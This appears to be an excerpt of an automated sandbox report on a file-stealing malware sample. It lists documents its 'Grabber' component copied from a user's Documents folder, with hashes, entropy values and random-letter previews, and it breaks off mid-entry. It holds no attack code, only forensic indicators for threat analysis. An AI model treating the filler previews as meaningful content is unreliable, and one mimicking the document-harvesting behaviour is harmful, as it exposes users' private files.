C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\CZQKSDDMWR\UNKRLCVOHV.pdf

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698999446679606
Encrypted:	false
SSDEEP:	24:W9l1TKf/7G6pHxojyPqnhSz0hujim56BAhI8QR9QlFpd:6l1uFqyP5zY5moAoah
MD5:	73351F70BFEF33BEEA9E1CC192801D02
SHA1:	ACFD9C2DFA1B38FAB53EEB4730B0DF0551B45D8C
SHA-256:	F6917A805A90AC72064D294E5E0FBA4604588F7B0EB2B3A3511D1FC6887E3E24
SHA-512:	56D46FF29F86F3B314EBC6CC456A1D153D0F1245A926F82AE7FA9A6A5AD792094FEDBB5FC489929186C8A72732BE4EAFF3BCF2E508B8B2FC50B013E6166B212C
Malicious:	false
Preview:	UNKRLCVOHVAXPHOHAZYDIMBTYYPLYBYVUEQLGGJJCFCITCEMGOMMPTCXLGLYUZHZWMTUNUOFUUYAUDMSGBWJKAMIFUAYTDIKVYQPGYQSIZTANWSUNZDHBRNONSOUWVUJZFBPOZIMZOUPVAYJKSJULUHYRYUUOLYWEWFCYAZHMJKHXUZLTHEXFDNRXIUQOZHGGMDFHSXAJKHPBRPJJKVVXGMDIMEMMFXEOBQJSMYSSMPVSVUNJLJSSMEFHHLFEVPWZDDEIKQGOJPOJWTWMNPIEQXWXOBLNLDRNRUGDUXCMTURFAWMSSYAENGRWRBIJOYJNUMDYXNDETRQMYAMGJYZKZQPFPCONTLPPRLYMQJPIWCAXNOLGZOTNQEWQGBVSNORDVIXIUJAENWBXHSXSDNAMBAXUDBRCRHHYFJQLZEAGFZJUFMBIUBABNXVYITYPKRJUMGDPPABWBKNLHDKPLRUIRQXXKLFZAHHOQZHNTUNORTHIPKRZRDGRVPKIZRHYAGOVNDISDQRFXONCHILLZJTGXRZPEIPHKZXDBODDSUZIKNUVTNMZGVZQILJHRYJYZKDBLCLJFWSXRREYFFMEXBICHNCCTBTTTTZZVMSHPBKJMXPXFJNIDQFSJDMCXXUZPFVBFVKYCVFVQFUVOJWWIUNBICQVZGOZZVDJKKZTGDLWXADCBHYGUDWYWTYVYOOICLDGZXJHSTPFGQBMRCCCBJSXCPVVBKRNYTLTAOWPNJFKXUXQORRVHCHMSRAHQHFDEMZUFOFJOQFXHQBLWKNHXKEBLUJMQCFCSTBVXKUUPPXZNEWBUZPPVJFCDLXJEGEZSQSHHBNUCTRMEDMGPNZBHGEXVTWWZFELEFQQWXGHSVDMBAGZANSOHWAGHWRFCVNRSBOOZFJQONOYPNXBMHJINMGSGLMUSTAOMZXKOIHFYYSJWELBRBKMJUVQKVVFUFLDZKJVPCATVIHCISAYNPTMBEUQYJRYFUSBKOSITLVDUTJ

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\DQOFHVHTMG.png

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702862417860716
Encrypted:	false
SSDEEP:	24:JCmIDeBF63lGj/+QvH8n8JCl7odrVgKqBP68iz:4QQQvHFrTqBPXiz
MD5:	CC0686FCDF6617729D1EDF30F49501F1
SHA1:	02D629848E3D467D8143B057F003E0D7448126CD
SHA-256:	31E15305BC0579F03C51A1D6534B332F32C73ABC6D1B68BA0BDA6FCF97F593C9
SHA-512:	8BD18EB486BA6D2799329D9A8EFB3F52C3D109F5CB070290418DDE4B58756CD023857E4CAE62323C530FA0D3A60372C97D9744C1911A688D3592EABD14005F25
Malicious:	false
Preview:	DQOFHVHTMGONGZJMTUDJRBBZMRPVREMYHKGEHFUQYXZCSKHYXSDQYNTHYMAXXVSVAUOGMFIYPDCQLTHSECIYLWTRIBFEAYHUXINIFQBTJDZMINEEJPQYKGEESHWZILKBYECTPQSECVJBFSZOCCSNOVPIAHSFZWVXPNEQGUOXWPBXJRUYFARJLNHPVXAJZAMAADRKIWNDXYEBYMEBSXOJGEOURNOIBBLONDSVHAOQHPMGXZYJJTGITBJPQEBNXGZYUKARGBCVCJUHSRNNEVOIGUVCJVMNFBKNVZYQADNKMLUVPOTXVOQFRBXUSSRFMQEZCJFQXKCGKGKCVGGVBKNPTNSSMADFJLSDMVXHSOETKCENTGLOVOHUYJFTIWFHKFJRYNOXVIGPLHNBFPFOCWMNOQXWIPYAHPKRVTBFYKRBDVDUAZBSLWPPMXJXDVRCRPKOGCUKNZKBLJGIGZASUAZBLZBMGJSBNQSVTMGEWGLMNJKCSBEAGDUINAXDWMHJASNQRRDMKVXOKATATHRLEOJRPCUOAVQIESHZYWIQCSCAPIAJHBTEIYVRFEDCQDCDIYPMQVBWUEHDPIDAGKYZBMLBDUTEIFYLBSHAWEMNTPQDCSTOWSBZWQEBLVBNUWKZFUDMPBKETDOEOIXRFTDUFIBPBSUHXQTCPRPZAKDTRWMGSAVOZBNDDMDIHBSGIPOMYLKSGKUWRGKNXSOLUZDUZYQFQTKMNWLSYKVAQVIHJTFYNRTERQMIRVMLNWEIMHPIWEWIZJJRGOCBVHFGCSCPAIQYTEMYIQJKVUFAZERTMPUQSRHOZHOYABIALCSKDKHEDHJGKBYVCDZGPYPCLDCEFHWFMLSBOUUGKJFXSVKJVYVTSMIZISSWNRRWBNOMXZCOJAULXRXTNHTYWTZNFOKXVGZMTRVOSMSRMYBHKSHRCPZSSMDBJOTQQRGYIHEMZHHSWECVAOPVNLGBYHZVZPLQHOTCJNPUXICWZBLKAQFGUZPW

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\GLTYDMDUST.docx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69569301223482
Encrypted:	false
SSDEEP:	24:P1aJ3UFXnPRRqJn5Ao7J4kXjiut748cX3Gg6hQk:P1aWFX5RQnAuh48cHGg6hQk
MD5:	CA404BEA65D84F58838AF73B2DC67E02
SHA1:	56EDE3A3BF70705B1D42A2AE13F6605057C1E5F6
SHA-256:	4A28C898DF5967827C26FD633CD56275159EF4C4C0193E484E8E8F3E9ECC66B9
SHA-512:	10C144317CDB5A368733346EB8440A986A377916F98BE0E8232E668A8C5E107E06829ADF575751B94D0B0AA37F4CAC48DBD7BC64FFE8DCB140FB033C00CEC721
Malicious:	false
Preview:	GLTYDMDUSTFARDVTDTOSUXWTZPBTWYSDUWRWNQMOYZIOPMOCUVTIJOHJYLHKBCEDWQBIYLQPLFXNZVXOZBIBDNIIHCNZHRIZBCANIAZPBFFJNXGCWLILIHHCYJHZSFIZUUDHFLQEWBBOMWJOZCKSAOAVKAWDPLPLVPHHMTSMKFCHYLMZJYKTJZUGPCSSVJJOKBWSTSLHJSIZZNIHOVEXPMQSKABHGSGHFUWVNTWTGYCLXOQEPAIEYRMLWJNNZHEPKXAHFKJUQHDHBHMPKXFCHXQYMICUKIVHNMPIJURPFBDBUQWHFTUVKPWMJHVOENGHYYNPMJPLPTQKABBVHNTLFXAJUISPUCEXPQFWXNQKGLSPRPJEAIJQZNYNOWAKNLRQHQRIOFXWLXEJZPOKNRPRZQJIGYXOWWZDFNURUOTFOOSKCNYLZXJZIWHYYUTOQRDTTRMPEMHZSRVZISBDQKRQYXAZOKOCTHUJKZWNHJSEMHTCSKCARZUYORNVIXVWTGAWUONMQVDITNHLNLJNREIEBPKELOMXBMEUBFTSVSGBVXSXHICRIGHIFVXWPXMIKKKCBOFCJGKJYZJDAWFCHWCNIMOPOPYUXDESMSSFNZBKRVTKTFPFGCIMVLKPBRKBRZJRHIYUQFAFEODGJZAXKRAFGTBXKKKTOXYTJBCHZWBDPBSBRTICVTUOWNEXJIZFESQAIMINDZJFLHIQSMVIICPGSEVSLVSVPMBXUGAPVVXVNJEBHRRBRPIHKGVJJDRANYKMMFJJBFPKFDJAROFBZANTWLCLSELNCCDRQUPZIMXLCVFZOFWKZYXCLQVRUFHUTIFPNWERRWWXHSVZHEYMHULWKGIIWKBRWODYKIGEPXGOEZXMJVKVNTEOQXZBOZBXYKMUGZUYMELGGHJJVDPONTLTQGITEMXYMMOGRWMQDUHIGHPJWPGIEZDZPFZHQMQKLTBUGJXLBLEGTFQZOXBPYRZFHNMZGVZGRAKFYTWDWWKV

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\GLTYDMDUST.xlsx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69569301223482
Encrypted:	false
SSDEEP:	24:P1aJ3UFXnPRRqJn5Ao7J4kXjiut748cX3Gg6hQk:P1aWFX5RQnAuh48cHGg6hQk
MD5:	CA404BEA65D84F58838AF73B2DC67E02
SHA1:	56EDE3A3BF70705B1D42A2AE13F6605057C1E5F6
SHA-256:	4A28C898DF5967827C26FD633CD56275159EF4C4C0193E484E8E8F3E9ECC66B9
SHA-512:	10C144317CDB5A368733346EB8440A986A377916F98BE0E8232E668A8C5E107E06829ADF575751B94D0B0AA37F4CAC48DBD7BC64FFE8DCB140FB033C00CEC721
Malicious:	false
Preview:	GLTYDMDUSTFARDVTDTOSUXWTZPBTWYSDUWRWNQMOYZIOPMOCUVTIJOHJYLHKBCEDWQBIYLQPLFXNZVXOZBIBDNIIHCNZHRIZBCANIAZPBFFJNXGCWLILIHHCYJHZSFIZUUDHFLQEWBBOMWJOZCKSAOAVKAWDPLPLVPHHMTSMKFCHYLMZJYKTJZUGPCSSVJJOKBWSTSLHJSIZZNIHOVEXPMQSKABHGSGHFUWVNTWTGYCLXOQEPAIEYRMLWJNNZHEPKXAHFKJUQHDHBHMPKXFCHXQYMICUKIVHNMPIJURPFBDBUQWHFTUVKPWMJHVOENGHYYNPMJPLPTQKABBVHNTLFXAJUISPUCEXPQFWXNQKGLSPRPJEAIJQZNYNOWAKNLRQHQRIOFXWLXEJZPOKNRPRZQJIGYXOWWZDFNURUOTFOOSKCNYLZXJZIWHYYUTOQRDTTRMPEMHZSRVZISBDQKRQYXAZOKOCTHUJKZWNHJSEMHTCSKCARZUYORNVIXVWTGAWUONMQVDITNHLNLJNREIEBPKELOMXBMEUBFTSVSGBVXSXHICRIGHIFVXWPXMIKKKCBOFCJGKJYZJDAWFCHWCNIMOPOPYUXDESMSSFNZBKRVTKTFPFGCIMVLKPBRKBRZJRHIYUQFAFEODGJZAXKRAFGTBXKKKTOXYTJBCHZWBDPBSBRTICVTUOWNEXJIZFESQAIMINDZJFLHIQSMVIICPGSEVSLVSVPMBXUGAPVVXVNJEBHRRBRPIHKGVJJDRANYKMMFJJBFPKFDJAROFBZANTWLCLSELNCCDRQUPZIMXLCVFZOFWKZYXCLQVRUFHUTIFPNWERRWWXHSVZHEYMHULWKGIIWKBRWODYKIGEPXGOEZXMJVKVNTEOQXZBOZBXYKMUGZUYMELGGHJJVDPONTLTQGITEMXYMMOGRWMQDUHIGHPJWPGIEZDZPFZHQMQKLTBUGJXLBLEGTFQZOXBPYRZFHNMZGVZGRAKFYTWDWWKV

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\GLTYDMDUST\GLTYDMDUST.docx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69569301223482
Encrypted:	false
SSDEEP:	24:P1aJ3UFXnPRRqJn5Ao7J4kXjiut748cX3Gg6hQk:P1aWFX5RQnAuh48cHGg6hQk
MD5:	CA404BEA65D84F58838AF73B2DC67E02
SHA1:	56EDE3A3BF70705B1D42A2AE13F6605057C1E5F6
SHA-256:	4A28C898DF5967827C26FD633CD56275159EF4C4C0193E484E8E8F3E9ECC66B9
SHA-512:	10C144317CDB5A368733346EB8440A986A377916F98BE0E8232E668A8C5E107E06829ADF575751B94D0B0AA37F4CAC48DBD7BC64FFE8DCB140FB033C00CEC721
Malicious:	false
Preview:	GLTYDMDUSTFARDVTDTOSUXWTZPBTWYSDUWRWNQMOYZIOPMOCUVTIJOHJYLHKBCEDWQBIYLQPLFXNZVXOZBIBDNIIHCNZHRIZBCANIAZPBFFJNXGCWLILIHHCYJHZSFIZUUDHFLQEWBBOMWJOZCKSAOAVKAWDPLPLVPHHMTSMKFCHYLMZJYKTJZUGPCSSVJJOKBWSTSLHJSIZZNIHOVEXPMQSKABHGSGHFUWVNTWTGYCLXOQEPAIEYRMLWJNNZHEPKXAHFKJUQHDHBHMPKXFCHXQYMICUKIVHNMPIJURPFBDBUQWHFTUVKPWMJHVOENGHYYNPMJPLPTQKABBVHNTLFXAJUISPUCEXPQFWXNQKGLSPRPJEAIJQZNYNOWAKNLRQHQRIOFXWLXEJZPOKNRPRZQJIGYXOWWZDFNURUOTFOOSKCNYLZXJZIWHYYUTOQRDTTRMPEMHZSRVZISBDQKRQYXAZOKOCTHUJKZWNHJSEMHTCSKCARZUYORNVIXVWTGAWUONMQVDITNHLNLJNREIEBPKELOMXBMEUBFTSVSGBVXSXHICRIGHIFVXWPXMIKKKCBOFCJGKJYZJDAWFCHWCNIMOPOPYUXDESMSSFNZBKRVTKTFPFGCIMVLKPBRKBRZJRHIYUQFAFEODGJZAXKRAFGTBXKKKTOXYTJBCHZWBDPBSBRTICVTUOWNEXJIZFESQAIMINDZJFLHIQSMVIICPGSEVSLVSVPMBXUGAPVVXVNJEBHRRBRPIHKGVJJDRANYKMMFJJBFPKFDJAROFBZANTWLCLSELNCCDRQUPZIMXLCVFZOFWKZYXCLQVRUFHUTIFPNWERRWWXHSVZHEYMHULWKGIIWKBRWODYKIGEPXGOEZXMJVKVNTEOQXZBOZBXYKMUGZUYMELGGHJJVDPONTLTQGITEMXYMMOGRWMQDUHIGHPJWPGIEZDZPFZHQMQKLTBUGJXLBLEGTFQZOXBPYRZFHNMZGVZGRAKFYTWDWWKV

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\GLTYDMDUST\HMPPSXQPQV.pdf

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698711683401115
Encrypted:	false
SSDEEP:	24:qKHpKPokvebe5xXL3g76mBU/gS2JBbl20IS7pnXk:Rpcjnxbw7TYgS2nbzIS7pnXk
MD5:	47643CE7571E0C995094D7CE5F2005D7
SHA1:	40D42828B2F68C625EBD884FB8AF5B20F5A1DF9C
SHA-256:	1D642D4EC7BC821B0FFA28C3F2702C875C922139D8001EADD664EBCCF8D321B3
SHA-512:	3AAD0470C01D2609662C0B8D146BA79132B404C669C22032D085233E2D30725797AC2E15A11F54DFE00E4B6CA6E914E3439D4775B3AF6D782334FE9424F485A5
Malicious:	false
Preview:	HMPPSXQPQVZTKYGXRLZXZQHGCZSWFSMKAZTFZQVPBWYDEIQOYRZBKZROCVLLNDGOXMZATHCHJWBWCKMDMUVOMUCFYNBSIKMCOOAGLUHDSCAREEEQGTRYCAFLTFVCHREFHJJALACUPWFTGZJJVRRQBVOZGXIEUBTJBNHNAXRWAWTUYQZIZWPARDBZBFGZUBQQPINOCLFOLDPTMWQVUUBDSNGDFVMEOTHPNKBOMDPGLFXUXBXHUOTYRPUQTUJPKLUSNTISPNFAHVFBBWEWJQFBJFCDDWUUKCQJNEKMUTJEZKKMXXOCBOVMCGGYTPDYBYYFVGHQJJBCDHYWPXJUJWPNURQCUHPTATLFRAOGUCJWWSBAITHVPDRYRFCTPIWHJVKSAXOIPKHISTBCDZISGIVPPYDJLJWFRNVNCWIOINKYQLAFVLCPSGCZABGNTUVGEDQZGQNDECUBPLLOYUYTHXDNNCAXKLHFZXBBAWBICFREGZBLZZMPWRLUSXUNEXAKLSJETGNCJTTGSNPPSHZUKZDHHYHBBWKJUSIBAKGKHQJINZHCWLBCIIUGTVVLNEZXUBIPUVRAILLENTRJYFNIBHNOUNYAIFQBNUMFUSXNGITFIFZKTSFAQXDYVBIUCIUYJIGJTIJHWTPPRJQVSBHHUXLZRPPJOWJAPSVQQVKLFHKXZRPEJBFXNKVNBCPMLRQGCJINKLLBJVROFAFCDRFCDAMIDEYSZDWNLUMJZXGWKOIKNAYVXPYRZWMBNAAFKFOPCVNGUECOARMDWJVYVUQQAFEGKCYXVVGXPHPEVOMRADTQDTJSHAKHPNNOGUDWBRXDJFEMSJTJUJKHZONBLGDCDDUDTRQKPOFACELSKHFSBPKXKDGWOKSDBAMWLKXEAOOHWVOAQZGZCNSDWOXSHPTFMVMYQXTRNMUPZSFQXOQLPUFJWHWTXXIRMQXDPVAJKHMSCGTFVJKECYILRMHGFBWQKUNTRVZTBJQJAKTSJUIDOLPL

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\GLTYDMDUST\LFOPODGVOH.xlsx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698393795110914
Encrypted:	false
SSDEEP:	24:weX7B5oYsT2B9e4Feb4OKL65JIiga/zOnv9iY81icgfiTetEc8E:FPoYsqB9e4dP63IigGOvo11LetEc8E
MD5:	7C5655873C22D2522B13B34841F82038
SHA1:	ED733AE5B3E813B97D69E7283AEB8085EFC62B78
SHA-256:	9A515FAA0EE108930EC0C597C9E2CA74B21C3C9D45F3F845954A65F3FA4C494D
SHA-512:	A98C25203B5A8C5C3FE7859E1B128BA3C0B5691BE716C53CA427770F10EC65CBB8B704EEA994BCE1ECA69EC4D46BCC0D48FE844653B964E96D1248D2E211CBD2
Malicious:	false
Preview:	LFOPODGVOHLLKBCXZQUOXPFEKGPKVDEYIZRZGQPAXXVWAHGTCBCWCYBHYOPHLEVYFLCEXNMVAAPUECIPRDZTIBJFGFXDAEMKYPYGCWSRTCUEEDISUDHVYQEPCSIKRBOXVZVTBFVUQHQYHEIWQPMZFNXNKGPPDGDMKJWAYJVYMRCYCWORBYPZYIFTAANBVDPJJOGYMYDPMPCNSOQVKLKNKHQVJQRYOOACYXVWFBJGOZRXUBDUSJEQNJXCVPHTUWAVCILOAXOWIJVWKMAIOEWTHGQELYIGVJJZNFBDSZXPZMLZNFDRIJQQQDSSMCBEMRHVOYIGRXSYQYDLBDBDJCVRREJGRUBPNYBFUCUXLMUIULULHCWJQQEMKBQMLJBDJQHFXPNODSTVZXWZZOXPIXKBRKMKOYEBDUBYOGMGXHFMCUIKRQYQMHGUBUAAFTMUCZNIIVAIOOBIASAJPKXIYIQIRVIIXGNUEDAXQJYWQXOBTAINKSTSHZGNUWVHVDUXVGWBWRXOYEGSIRNXRHBFOAWRQVFKAGDUSHRWQWJQRNMOGHTWFHOOZGRSVCSEJNMPDYUGTSBOMGHSHACUNTVVGKNAZSSLLQOXMCBVKFFAQLQCWYNIWPVJRECIKVCXZGCNHKXMQDPPOURAWIKZOZEFLDUYVIGDPGUMGOGBUYKGLVLWQSDAHAAIVFUNWQIWKRCSLCPMZBWBBDTBBVTZNYCLEIZNLQRHKBOLVTUTWSURDWQTCHAPUMJQWNVWVGFLAAPEHMLBUSYJCZDJUMZMKIOKIMVTYPMCXUXWVXIMVUCNXESHIVCKNFAALGDXCVJHQZWLDSAWNJWFBTHDBKGVKXLWDOPOOBJMPJCKUXVNFQVOUEIHJKOHTDCQCDOFQBMSQNWVDKTKWJIFVOMWEUJULPMGUSEWAZAHAZVGRSWNQYXPMKFWQGODZHVNOEXZBPLONONBPAHCDWEMSFLRJBFMOKMCLAGRJEGRTGVETXSZKDXQWEOD

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\GLTYDMDUST\QFAPOWPAFG.png

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690474000177721
Encrypted:	false
SSDEEP:	24:2OgtZqoLtXCKESzKP+tziBUswJwLVk9zxY/tks7VMejXhggCon:cLtXZEmKPopswJEqxUkp82an
MD5:	A01E6B89B2F69F2DA25CB28751A6261C
SHA1:	48C11C0BECEB053F3DB16EC43135B20360E77E9B
SHA-256:	0D0EB85E2964B5DDA19C78D11B536C72544AE51B09DBEC26E70C69ADDC7E9AA5
SHA-512:	1E335E567B7F959E7524E532E257FBC0A21818BDCE0B909F83CBBCE8013FA61A8D665D7DED0982F87B29A5A786A0EE7129792A1B2D48DD205180569D9E919059
Malicious:	false
Preview:	QFAPOWPAFGZUMXROWPODMNAMXJGGULHBVFMBDFCUTBDPEHPYKVYAURAEPYZMHPBECXOGPOKPNMKAIBYHBFNFVWPHHZFRFVAYYHSJZJTHAYESIKJCXVOVANTTAMQKCXEHJRYFSWGEELTALODIPFLWFILANHAGQENMCPNFLPAJIPRNZRAIETALHZECBIKVUBLJMHNYJXPSAMZZCVZQOHLATXYVRZQROYHFKLVOJLGRAGXLMXJHKHSSCTHDFNSLOUEZPTFGVVVGCDIXIBWQFIIFACZAYUUQZJRKZXJQPLVPFTJAMSPRDIBBPPFLUCOUPPQDSFKQXMEIFUXXAGKAWLWJPNBHZSGIAFFXPBLRMFNGMVBEWTTPFJEHMXLOZWQHEHGWBXCAMZISSZMPHUOREQDUTUEPDVLBWTFCJIFAGQOEHFIMLTDTDLYPEQZDZBBZYMKXTUKVCEROFCABVNAQXVLLCCNLEOGKLFPVSGMNNQZHFNCWNPGBCLLMTYKZMJSUDIPHSUQJQTOTICLSMQNHYJAQTVXMEZAEGNBGADHUJNJLQZSSGWRLYBWJEOTERXWRTICIVUFNKHRUSWRGABWPZDFTGSDASOKXSFUGVBUISDQNJUAOCSOANZFXTFQGDKEKGZJRMJMGTAJCTJEOCZCUZMUYKAKZZQYDRJXWZWMOXQQLWJMWAENIFMHJXMELOZTVHRLQZNWCBXKEBNUBDDOFYHNWIPPRWGDZCQLMHAOLYZIDJJXAASOVDNHNMDDCIWFPIOLQHWQCPUVUZUDVOKBMFLALCZEQWJAKTVUUDROHEKJKHQBLQZNVWSNNZFKMZLQPFYUYHNCDTCBVUUNKNZIORBFTFVKLHZTQAPWVKTTZFCTHJBBWQMZTFKADJIZZANUOLLRBSVTUCNIJWDQPYHEPWEUTFVNOACOFURIPTLDGJUOYFJRHAUIQREUKUSADZYOEDEDZRKKPKLFLFQIMMIKLOCTSOFOEZYVAGMCITCUWAOUT

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\GLTYDMDUST\VWDFPKGDUF.jpg

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696835919052288
Encrypted:	false
SSDEEP:	24:Fn9jgzow1W6XZpt5tv2wi/9nymo1rcjQV26NyDmb5HPZ:zjgEw1bpfTi1yfhcUV2by5HPZ
MD5:	197C0DB71198B230CF6568A2AA40C23B
SHA1:	BAE63DD78D567ED9183C0F8D72A191191745C4E5
SHA-256:	6935BFDC854F927C6F05F97AE4865ECAA22F7D10D909725B7D67D87F17FF0F41
SHA-512:	972C7D9B89EBADA01E3C2D21B391AFA317A8B587DE768875B3B7082761E17AF795BF72B49DEE71DC1F5363863EEF3C7E2966E6AE3D2E6F481E373A77163316C7
Malicious:	false
Preview:	VWDFPKGDUFQFRUPAPPQGIIRLBMRJVLIMQXSWPKBCUGCSOYPXVZRYABCFRPGQFBKSRNNBPWCDTZQKOZTHEOXCUIMHAWUSAMNXIIEPWHBTSEWOJOEJUQZAZDGIRHLRLOCXDMGTXDXEJOWMXIFWDAGYCVGTBKYMXDYOTCGCARASSUUCMCNKFTCZOAQXBNILJTUOLCZYYUZFHGWFTCHDXYTZOEGFUAJLGZANLVNEVWHIIIRSURMEOTZWVHRLOGMTVRWICZIENOPRWLNSVHXQMULNZLBRICRJVVBJMJGVHJSCKBXVMICMFJQQTCIUSXRLUSMTSWGCQDGVFRQVIURPCVBLZIFEZKBUZGKUJIZAWRLYVVXWFGKCMRQFIVHFVXBDHBEKOJAILQRRTZPUTWBVRNRLZEMFWWBQUGOQWYUEGPKIVHQJHQHSJWVVENNMOAHFXILPEJPHZOQMAVSUXBQQEJFNFIKFQWEWEPKTIQQETBFSABZAOBVXEBARHKLVLMCAFGXXBLNGBZRJQOGMNGDAODYAVKYTFOYJRZDLZIYWZNRPPVZNHCTKOIHMETIQDHDGBHUSSZDLEXZSKRZLTIUMEADMONDOIPXWOAELAEUEJDZBECSINHBJNAYCCYTMEJUWYDNJDACYHUQIQZZBMKKRCJDQSGEHBSIIWWFOPRPYXHWNRLQFZPXUQSZHWHJGRVRNYZBBQUFKAWZTIDUQSFTJJPUAKBRGABJCNWDXOUPLCRZTCKKHIKTYZOGNWDCTUTSDFJLIDJMCLEXGJRUQRWREGZISCYJSMOFQXYMCGMMJMSQASADRKRHYGUYLIBJAAJOTHXHEVLCQEGGJBJBKULCPBXSIOOIEJPQIXDQHKAQSQMLWOISQZQTMTCLGTEHDXRHOIVIVQGKJJACQWPPTBGGHHKJRRPRENADLUPCMGIERRBDQYQJFUSIHVYGVGSIQZZWUZLCSUBMKCQYKCYTJRNNKEZZWFQMXWYFKKWAXFIFRJZTE

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\GNLQNHOLWB.png

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698695541849584
Encrypted:	false
SSDEEP:	24:ZE+7+1bm31iNKty4eaTDMDURN6ZqyioAe1L:ZE+61bm0Qty41T5N6ZNLAeZ
MD5:	64E7020B0B401F75D3061A1917D99E04
SHA1:	785E09A2F76464E26CE282F41DE07D1B27FFB855
SHA-256:	9E5D6C897851C4A24A0D3BC4F9291A971550B9F1B9F9CFB86D7A2D5F12CD63B0
SHA-512:	14D18C0739A9B9097C2135DF001E31BA17772A9ED1DFC62318AD092C133F8C054E5C335354C57929137344E11AC6F0EBC5032211136D1F1B3F6DF8F1434D90E3
Malicious:	false
Preview:	GNLQNHOLWBOQVJIFTLNFGJNNXMGUZOMCUNVQXIPWIQSXJKHHVRYLBVHOHRRAZCZOOSABVUNECAWUZDTCLDYZAFJGGGUXKDFDPLZWHOYARDSHMWUJKNJPXNWQKOEVEVLWQLXKJLHTDQZQULYODUZGGIUHFXGBKGLAQBERUUCASFPJWCVSHYWEKXXBEZZVPBKVPPRGJJFXTGVBUVLUVQNAPBMPJOZNNFCDPEHNHWSMZSBAYITASRGZTGXSYUNNLKZKAVLGDGRIUVYOWINQLHMWTCZYYSGNSZQWZQNLKENKZJSDTJDSZVFQGHKVENDXCIHQVPCJNVXYVCJTKGGQJHTLGYJROSCXNGTCNNLCBSAOHAXWLQLCXTRIYCZVDEDWKBEHBEBKKXYVNQHTFFQFVFLHQRXMYLCHQAJKIRETOPSMFDVMJOROHVBDNWQMACXDCGCPKSQUIXWYXSYDPSBSUJMXEBPBCWJDOKOSFYRZQSCWEIHCQFTRYQVAUUYDVCYUHDRUKCTOGNWSTPHONXNHSHICTVCMWIDPOKQMNGFKZOADDJPTUVPEWWFNEKDLAVDZNBHHFIRSPGSQGUQUGGIRSVJTEIAUJEHUVHRJPWEMACBNRIWVFWWRDNGHYAESSKWHOCXLPYRMKQYTXSSYLKESQEPWVDSSTKTYQDQTTAUVWPQFTTJMGMEGRECDIFCMPKXTYYNGENSBDKEVPPDNRRDLULORZGHRQIQWLMHMKLKDLNSNWXWGTMDLMPWAGGPUJXOOYWOGWZTDKIVNNXMKJEFALSJECCOVZVTAPKGAXWCUMHLAHYBPLBTDXBKKPKPJFJOKZKMPEWOOMMMCZHSENRPGKEJJHHOVFETVBBFBTDTSNLGGPVPAFDOXRJUKYZTGOFQUAVOGUZJARUUCKMRYUSWZIRYUATBQRRVCNMFMMBTGSFQCAOTPTSBPCICPBMURXQOIITZCLXKSJVDGFLGHUIHTALRYCNLFILDCLQXDOGMOKPXT

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\HMPPSXQPQV.pdf

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698711683401115
Encrypted:	false
SSDEEP:	24:qKHpKPokvebe5xXL3g76mBU/gS2JBbl20IS7pnXk:Rpcjnxbw7TYgS2nbzIS7pnXk
MD5:	47643CE7571E0C995094D7CE5F2005D7
SHA1:	40D42828B2F68C625EBD884FB8AF5B20F5A1DF9C
